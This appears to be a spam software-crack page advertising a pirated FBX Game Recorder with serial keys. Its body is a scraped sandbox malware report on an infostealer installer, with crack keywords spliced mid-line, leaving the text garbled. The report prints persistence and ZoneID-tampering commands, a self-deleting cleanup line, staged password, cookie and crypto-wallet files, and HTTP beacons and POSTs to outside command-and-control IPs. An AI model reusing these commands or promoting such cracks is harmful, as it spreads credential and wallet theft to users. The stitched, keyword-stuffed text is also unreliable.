flashback recorder fbx Archives - 10BestHealth Crack

DEFAULT

Nexxzy game recorder Free Activators

06.09.2022 0 Comments

nexxzy game recorder Free Activators

eFootball PES 2022 Crack With Activation Key Free Download Bottom line: it is FBX Game Recorder 3.18.0.2279 Crack + Serial Key Free Download 2022 FBX. It records your screen action, with sound, and presents completed recordings on YouTube and different locales. BB FlashBack Express lets you make instructional. FBX Game Recorder 3.18.0.2269 Crack + Activation Key Free Download 2022 · Facebook · Twitter · Email · Share.

Related Videos

🔥 ApowerREC Screen Recorder Full Version Free with Official License Key 2022

FBX Game Recorder 3.18.0.2279 Crack + Serial Key Free Download 2022 FBX Game Recorder 3.18.0.2279 Crack the Intel equipment speeding up. It builts it to deal with all significant game titles and give remarkable execution, even on more seasoned low spec PCs. Whatever your set-up, you’re prepared to begin. BB FlashBack Express introduced two symbols … Read more

Categories Crack Software, GamingTags background game recorder, fbx cracked version, fbx game recorder 3 14 crack, fbx game recorder crack 2022, fbx game recorder crack 2022 cracked, fbx game recorder crack 2022 download, fbx game recorder crack 2022 for pc, fbx game recorder crack 2022 free, nexxzy game recorder Free Activators, fbx game recorder crack 2022 free download, fbx game recorder download, fbx game recorder getintopc, fbx game recorder login, fbx game recorder no watermark, fbx game recorder old version, fbx game recorder support, fbx pro, flashback recorder fbx, nexxzy game recorder Free Activators, game screen recorder for pc 32 bit, how to use fbx game recorder, nexxzy game recorder Free Activators, is fbx game recorder safe, nexxzy game recorder

%2064-bit&av=none&cpu=Intel(R)%20Core(TM)2%20Duo%20CPU%20T7500%20@%202.20GHz&gpu=Standard%20VGA%20Graphics%20Adapter&screen=1152x864 (AV positives: 4/72 scanned on 01/03/2020 22:58:30)
URL: http://111.90.149.201/login.php (AV positives: 1/71 scanned on 01/02/2020 02:57:21)
File SHA256: c57ba4a4c4002419285b15dd7da47fe396847b864ddfde045b912f99713263f6 (AV positives: 21/72 scanned on 01/03/2020 18:50:22)
File SHA256: 0a5de60f8d242caa0bd01cb811358ce2fc9f2f8530013ab650d8ac1950cff5e1 (Date: 01/03/2020 15:30:12) nexxzy game recorder Free Activators

source

Network Traffic

relevance

10/10

Tries to identify its external IP address

details: "api.ipify.org"
source: Network Traffic
relevance: 6/10

Ransomware/Banking

Checks for files associated with bitcoin mining software
details
nexxzy game recorder Free Activators jriver media center 25 download Activators Patch nexxzy game recorder Free Activators "svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\Bitcoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\Anoncoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\BBQCoin\" (DesiredAccess: 1048608, Icecream Image Resizer For Windows 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\digitalcoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\Florincoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\GoldCoin (GLD)\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\Infinitecoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\IOCoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\Ixcoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\Megacoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\Mincoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\Users\%USERNAME%\AppData\Roaming\YACoin\" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "%ALLUSERSPROFILE%\182857732242969\crypto\Anoncoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Anoncoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\BBQCoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\BBQCoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Bitcoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Bitcoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\digitalcoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\digitalcoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Florincoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Florincoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\GoldCoinGLD" (DesiredAccess: active password changer 9 full, OpenOptions: 2113600)
"svhost.exe" opened file nexxzy game recorder Free Activators (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Infinitecoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Infinitecoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\IOCoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\IOCoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Ixcoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Ixcoin\" (DesiredAccess: 1048577, nexxzy game recorder Free Activators, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Megacoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Megacoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
nexxzy game recorder Free Activators opened file "C:\ProgramData\182857732242969\crypto\Mincoin" (DesiredAccess: 65664, nexxzy game recorder Free Activators, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Mincoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\YACoin" (DesiredAccess: 65664, OpenOptions: 2113600)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\YACoin\" (DesiredAccess: 1048577, OpenOptions: 16417)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Anoncoin" (DesiredAccess: 1114240, OpenOptions: 2113569)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Anoncoin" (DesiredAccess: 1048608, nexxzy game recorder Free Activators, OpenOptions: 33)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\BBQCoin" (DesiredAccess: 1114240, OpenOptions: 2113569)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\BBQCoin" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Bitcoin" nexxzy game recorder Free Activators 1114240, OpenOptions: 2113569)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Bitcoin" (DesiredAccess: 1048608, nexxzy game recorder Free Activators, OpenOptions: 33)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\digitalcoin" (DesiredAccess: 1114240, nexxzy game recorder Free Activators, OpenOptions: 2113569)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\digitalcoin" (DesiredAccess: 1048608, OpenOptions: 33)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Florincoin" (DesiredAccess: 1114240, OpenOptions: 2113569)
"svhost.exe" opened file "C:\ProgramData\182857732242969\crypto\Florincoin" (DesiredAccess: 1048608, OpenOptions: 33)
source
API Call
relevance
5/10

System Security

Unusual Characteristics

nexxzy game recorder Free Activators Checks for a resource fork (ADS) file
details
"svhost.exe" checked file "C:"
"svhost.exe" checked file "%ALLUSERSPROFILE%\471495385779.exe:Zone.Identifier" nexxzy game recorder Free Activators
source
API Call
relevance
5/10
Checks for files associated with bitcoin mining software
details
trojan remover 6.9.5 license key Free Activators "svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\Anoncoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\BBQCoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\Bitcoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\digitalcoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\Florincoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\GoldCoinGLD"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\Infinitecoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\IOCoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\Ixcoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\Megacoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\Mincoin"
"svhost.exe" checked file "%ALLUSERSPROFILE%\182857732242969\crypto\YACoin"
source
API Call
relevance
5/10
Spawns a lot of processes
details
Spawned process "nexxzyinstaller.exe" (Show Process)
Spawned process "cmd.exe" with commandline "/c copy "C:/nexxzyinstaller.exe" "%temp%\FolderN\name.exe" /Y" (Show Process)
Spawned process "cmd.exe" with commandline "/c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f" (Show Process)
Spawned process "reg.exe" with commandline "reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%TEMP%\FolderN\name.exe.lnk" /f" (Show Process)
Spawned process "cmd.exe" with commandline "/c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier" (Show Process)
Spawned process "svhost.exe" (Show Process)
Spawned process "471495385779.exe" (Show Process)
Spawned process "cmd.exe" with commandline "/c taskkill /pid 2888 & erase %TEMP%\svhost.exe & RD /S /Q %ALLUSERSPROFILE%\182857732242969\* & exit" (Show Process)
Spawned process "taskkill.exe" with commandline "taskkill /pid 2888" (Show Process)
source
Monitored Target
relevance
8/10

Hiding 3 Malicious Indicators

All indicators are available only in the private webservice or standalone version

Anti-Reverse Engineering
Cryptographic Related
- Found a cryptographic related string nexxzy game recorder Free Activators
  details
  "RC4" (Indicator: "rc4"; File: "nss3.dll.1094539488")
  nexxzy game recorder Free Activators (Indicator: "des"; File: "nss3.dll.1094539488")
  "ECDSA" (Indicator: "ecdsa"; File: "nss3.dll.1094539488")
  source
  String
  relevance
  10/10
Environment Awareness
- Possibly tries to implement anti-virtualization techniques
  details
  nexxzy game recorder Free Activators nexxzy game recorder Free Activators (Indicator: "virtualbox")
  "GET /index.php?ip=64.124.12.162&user=HAPUBWS&os=Microsoft%20Windows%207%20Professional%20%20%7C%2064-bit&av=none&cpu=Intel(R)%20Xeon(R)%20CPU%20E5-2630%20v4%20@%202.20GHz&gpu=VirtualBox%20Graphics%20Adapter&screen=1024x611 HTTP/1.1
  Host: 111.90.149.201
  Connection: Keep-Alive" (Indicator: "virtualbox")
  "Oski build 123119
  
  System ---------------------------------------------------
  Window%WINDIR%\7 Professional
  Bit: x64
  User: pRe4xWu
  Computer Name: dim4tEHW6N
  System Language: en-US
  Machine ID: 6b06490d-f9fd-424c-8b6d-83edc4369e89
  GUID: {846ee340-7039-11de-9d20-806e6f6e6963}
  
  Hardware -------------------------------------------------
  Processor: Intel(R) Xeon(R) CPU E5-2630 v4 @ 2.20GHz
  Logical processors: 2
  Videocard: VirtualBox Graphics Adapter
  Display: 1024x611
  RAM: 8191 MB
  Laptop: No
  
  Time nexxzy game recorder Free Activators 6/1/2020 11:11:36
  Zone: UTC0
  
  Network --------------------------------------------------
  IP: IP?
  Country: Country?
  
  Installed Softwrare --------------------------------------
  Adobe AIR 27.0.0.124
  Adobe Flash Player 27 ActiveX 27.0.0.187
  Adobe Shockwave Player 12.3 12.3.1.201
  AutoIt v3.3.14.2 3.3.14.2
  WinPcap 4.1.3 4.1.0.2980" (Indicator: "virtualbox")
  "Videocard: VirtualBox Graphics Adapter" (Indicator: "virtualbox")
  source
  String
  relevance
  4/10
- Reads the cryptographic machine GUID
  details
  eset nod32 antivirus 13.0.22.0 license key Activators Patch "nexxzyinstaller.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
  "svhost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
  "471495385779.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Nexxzy game recorder Free Activators "MACHINEGUID")
  "taskkill.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
  source
  Registry Access
  relevance
  10/10
  ATT&CK ID
  T1012 winzip system utilities suite crack nexxzy game recorder Free Activators atlas ti 8 crack mac Free Activators AdGuard Premium License key technique in the MITRE ATT&CK™ matrix)
General
- nexxzy game recorder Free Activators POSTs files to a webserver
  details
  "POST /softokn3.dll HTTP/1.1
  Accept: text/html, application/xml;q=0.9, application/xhtml+xml, nexxzy game recorder Free Activators, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, gzip, x-gzip, nexxzy game recorder Free Activators, identity, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  "POST /sqlite3.dll HTTP/1.1
  Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, nexxzy game recorder Free Activators, gzip, x-gzip, identity, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  "POST /freebl3.dll HTTP/1.1
  Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, utf-8, nexxzy game recorder Free Activators, utf-16, *;q=0.1
  Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  "POST /mozglue.dll HTTP/1.1
  Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, nexxzy game recorder Free Activators, image/jpeg, image/gif, nexxzy game recorder Free Activators, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, nexxzy game recorder Free Activators, gzip, x-gzip, nexxzy game recorder Free Activators, identity, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no nexxzy game recorder Free Activators "POST /msvcp140.dll HTTP/1.1
  Accept: text/html, nexxzy game recorder Free Activators, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, nexxzy game recorder Free Activators, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, nexxzy game recorder Free Activators, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, gzip, x-gzip, identity, nexxzy game recorder Free Activators, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  "POST /nss3.dll HTTP/1.1
  Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, nexxzy game recorder Free Activators, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  "POST /vcruntime140.dll HTTP/1.1
  Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, nexxzy game recorder Free Activators, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, nexxzy game recorder Free Activators, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  "POST /main.php HTTP/1.1
  Accept: text/html, application/xml;q=0.9, nexxzy game recorder Free Activators, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, gzip, nexxzy game recorder Free Activators, x-gzip, identity, nexxzy game recorder Free Activators, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 25
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  "POST / HTTP/1.1
  Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, nexxzy game recorder Free Activators, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
  Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
  Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
  Accept-Encoding: deflate, gzip, x-gzip, nexxzy game recorder Free Activators, identity, *;q=0
  Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
  Content-Length: 28534
  Host: 111.90.150.191
  Connection: Keep-Alive
  Cache-Control: no-cache" with no payload
  source
  Network Traffic
  relevance
  5/10
- Reads configuration files
  details
  "nexxzyinstaller.exe" read file "%USERPROFILE%\Desktop\desktop.ini"
  "nexxzyinstaller.exe" read file "%USERPROFILE%\Users\%OSUSER%\Desktop\desktop.ini"
  source
  API Call
  relevance
  4/10
Installation/Persistance
- Drops executable files
  details
  "svhost.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
  "freebl3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "nss3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "mozglue.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "471495385779.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"
  "sqlite3.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
  "softokn3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
  "name.exe" has type "PE32 nexxzy game recorder Free Activators (GUI) Intel 80386 Mono/.Net assembly for MS Windows"
  "setup_1_.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"
  source
  Extracted File
  relevance
  10/10
Network Related
- nexxzy game recorder Free Activators Found potential IP address in binary/memory
  details
  Heuristic match: ""Powered by SmartAssembly 6.9.0.114", "111.90.150.191", "111.90.149.201", Heuristic match: "/index.php?ip=64.124.12.162&user=HAPUBWS&os=Microsoft%20Windows%207%20Professional%20%20%7C%2064-bit&av=none&cpu=Intel(R)%20Xeon(R)%20CPU%20E5-2630%20v4%20@%202.20GHz&gpu=VirtualBox%20Graphics%20Adapter&screen=1024x611", Heuristic match: "Adobe AIR 27.0.0.124", Heuristic match: "Adobe Flash Player 27 ActiveX 27.0.0.187", nexxzy game recorder Free Activators, Heuristic match: "Adobe Shockwave Player 12.3 12.3.1.201", Heuristic match: "AutoIt v3.3.14.2 3.3.14.2"
  source
  String
  relevance
  3/10
- Sends traffic on typical HTTP outbound port, but without HTTP header
  details
  TCP traffic to 111.90.150.191 on port 80 is sent without HTTP header
  TCP traffic to 111.90.149.201 on port 80 is sent without HTTP header
  TCP traffic to 54.235.203.7 on port 80 is sent without HTTP header
  source
  Network Traffic
  relevance
  5/10
System Destruction
- Marks file for deletion nexxzy game recorder Free Activators
  details
  iobit advanced systemcare pro 12.4.0.350 + key Free Activators marked "%ALLUSERSPROFILE%\182857732242969\temp-shm" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\temp-wal" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\temp" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\cookies\Mozilla Firefox_fg6ygf16.default.txt" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\passwords.txt" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\screenshot.jpg" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\system.txt" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\cc" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\cookies" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\Anoncoin" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\BBQCoin" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\Bitcoin" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\DashCore" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\devcoin" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\digitalcoin" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\ElectronCash" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\Electrum" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\Electrum-LTC" for deletion
  "%TEMP%\svhost.exe" marked "C:\ProgramData\182857732242969\crypto\Ethereum" for deletion
  source
  API Call
  relevance
  10/10
  ATT&CK ID
  T1107 nexxzy game recorder Free Activators (Show technique in the MITRE ATT&CK™ matrix) nexxzy game recorder Free Activators
- Opens file with deletion access rights
  details
  "nexxzyinstaller.exe" opened "C:\#FindMe#FindMe" with delete access
  "svhost.exe" opened "%ALLUSERSPROFILE%\182857732242969\temp-shm" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\temp-wal" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\temp" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\cc" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\cookies" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\cookies\Mozilla Firefox_fg6ygf16.default.txt" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\Anoncoin" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\BBQCoin" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\Bitcoin" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\DashCore" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\devcoin" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\digitalcoin" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\ElectronCash" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\Electrum" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\Electrum-LTC" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\Ethereum" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\Exodus" with delete access
  "svhost.exe" opened "C:\ProgramData\182857732242969\crypto\Florincoin" with delete access nexxzy game recorder Free Activators
  source
  API Call
  relevance
  7/10
System Security
- Attempts to modify the ZoneID (often used to suppress security warnings)
  details
  nexxzy game recorder Free Activators Process "cmd.exe" with commandline "/c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier" (Show Process)
  source
  Monitored Target
  relevance
  10/10
- Modifies proxy settings
  details
  "nexxzyinstaller.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  nexxzy game recorder Free Activators (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "svhost.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000")
  "svhost.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER")
  "svhost.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE")
  "svhost.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  "svhost.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
  source
  Registry Access
  relevance
  10/10
  ATT&CK ID
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
- Queries sensitive IE security settings
  details
  "nexxzyinstaller.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
  "svhost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK") nexxzy game recorder Free Activators nexxzy game recorder Free Activators nexxzy game recorder Free Activators
  source
  Registry Access
  relevance
  8/10
  ATT&CK ID
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- CRC value set in PE header does not match actual value
  details
  "svhost.exe" claimed CRC 2748324 while the actual is CRC 458351
  "freebl3.dll" claimed CRC 357283 while the actual is CRC 2748324
  "nss3.dll" claimed CRC 1293239 while the actual is CRC 357283
  "mozglue.dll" claimed CRC 144150 while the actual is CRC 1293239
  "sqlite3.dll" claimed CRC 705336 while the actual is CRC 42577
  "softokn3.dll" claimed CRC 176393 while the actual is CRC 705336 nexxzy game recorder Free Activators
  source
  Static Parser
  relevance
  10/10
- Imports suspicious APIs
  details
  RegCreateKeyExW
  RegCloseKey
  RegDeleteKeyW
  RegOpenKeyExW
  GetUserNameW
  RegEnumKeyExW
  RegDeleteValueW
  FindFirstFileW
  GetFileAttributesW
  GetTempPathW
  OutputDebugStringW
  GetModuleFileNameW
  IsDebuggerPresent
  GetModuleFileNameA
  LoadLibraryExW
  TerminateProcess
  GetModuleHandleExW
  CreateToolhelp32Snapshot
  LoadLibraryW
  GetVersionExW
  GetVersionExA
  GetFileSize
  DeleteFileA
  ReadProcessMemory
  DeleteFileW
  CreateFileMappingW
  WriteFile
  FindNextFileW
  CreateFileMappingA
  FindNextFileA
  GetProcAddress
  CreateFileW
  CreateFileA
  LockResource
  GetCommandLineW
  GetCommandLineA
  MapViewOfFile
  FindFirstFileA
  GetModuleHandleW
  FindResourceW
  CreateProcessW
  VirtualAlloc
  GetModuleFileNameExW
  LoadLibraryShim
  UnhandledExceptionFilter
  GetTickCount
  GetComputerNameA
  SetSecurityDescriptorDacl
  OpenProcessToken
  GetFileAttributesA
  OpenFileMappingA
  GetThreadContext
  GetTempPathA
  OutputDebugStringA
  LoadLibraryA
  CreateDirectoryA
  GetModuleHandleA
